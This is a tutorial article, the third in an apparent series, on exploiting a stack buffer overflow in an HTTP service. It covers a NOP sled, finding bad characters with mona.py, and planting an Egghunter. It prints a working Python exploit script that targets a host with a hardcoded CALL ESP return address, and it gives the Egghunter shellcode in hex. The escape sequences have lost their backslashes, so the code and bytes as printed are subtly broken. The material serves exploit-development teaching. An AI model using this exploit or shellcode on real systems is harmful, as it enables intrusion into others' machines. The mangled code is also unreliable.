Article 3: NOP Sledding
So far we know that our chosen target allows us to overflow a buffer. We have also found that this vulnerability has let us overwrite the EIP which means we can insert the address of a command we might want to run. Then we found the address of a ‘Call ESP’ command which will enable us to run our code. Let’s push on then…
Adding a NOP sled
In the last article, we had run our code to insert the address of the ‘Call ESP’ command and a load of NOPs. If we carry on from where we left off and step through to the next instruction, we can see we are returned to the stack into a series of NOP (0x90) instructions (See Figure 7). These instructions do not perform any function by themselves, but makes the exploit more robust since the exact address we are aiming for may change slightly depending on the system. This is known as a NOP sled.
Figure 7: The NOP Sled
Okay, we can now slide towards our malicious code but first we must create that code, inject it, find it and make sure it runs. Below, we will make sure it runs and create a way of finding the code once we have created it and injected it.
Making Sure the Injected Code Runs
When attempting to exploit buffer overflows, most likely you will find some characters cannot be injected. For instance the null byte (0x00) acts as a string terminator and as such if you added it into the malicious payload, any characters after the null byte would not be executed. To determine which characters we cannot use in our malicious application, we inject all possible ASCII characters into the application and then compare them with the contents of the systems memory using mona.py. The below code injects all possible ASCII characters:
|#!/bin/python import socket host = “192.168.1.20” s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, 80))badchars = (“x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0e x0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f” “x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30 x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f” “x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50 x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5f” “x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70 x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7f” “x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90 x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9f” “xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0 xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbf” “xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0 xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdf” “xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0 xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff”)payload = “GET /” + ” HTTP/1.1rn” payload += “Host: ” + host + “rn” #CALL ESP – libstdc++-6.dll 6fc66d71 payload += “Connection: ” + “x90” * 2048 + “x71x6dxC6x6F” + badchars + “rnrn” s.send(payload) s.close()|
If we run this script against our application, it will crash. We can then use mona.py to compare which characters in memory have become corrupted as per Figure 8. We can then remove these characters from our script and run the process again until mona.py shows that no invalid characters are still being injected, as per Figure 9. From this process, we determine the following characters cannot be used in our exploit: “x00x01x02x09x0a”.
Figure 8: Determining Invalid Characters
Figure 9: Located Invalid Characters
How to Find the Malicious Code
Now we can control the system’s EIP, we need to inject some malicious code. Since we don’t have a great deal of buffer space, we will insert some Egghunter shellcode. This is a small piece of code which will search through the systems memory looking for 4 bytes repeated twice – in our case “w00t”. We will ensure when we plant our shellcode in memory we will prefix it with “w00tw00t”. Once the Egghunter finds this combination of bytes, the code after this value is executed. We’re executing 32 bit server code with a 64 bit processor, and as such Windows WOW64 subsystem will be invoked. We can’t use the int 2e interrupt that we would use on a native 32-bit system. Our Egghunter code in hexadecimal is as follows: x33xD2x66x8cxcbx80xfbx23x75x08x31xdbx53x53x53x53xb3xc0x66x81xcaxff x0fx42x52x80xfbxc0x74x19x6ax02x58xcdx2ex5ax3cx05x74xeaxb8x77x30x30 x74x89xd7xafx75xe5xafx75xe2xffxe7x6ax26x58x31xc9x89xe2x64xffx13x5e x5axebxdfx90x90 In another article, we will tackle Egghunters in more detail but for the moment, accept that this code will search for our ‘flag’. In the code, we can see our Egg value (x77x30x30x74) encoded in hexadecimal.
This time we have had a lot of preparation to do. Identifying which characters we can use and devising a way of finding our code once we have injected it. Next time, we get to select the code we want to use, remove the offending characters, prefix it will “w00tw00t” and away we go.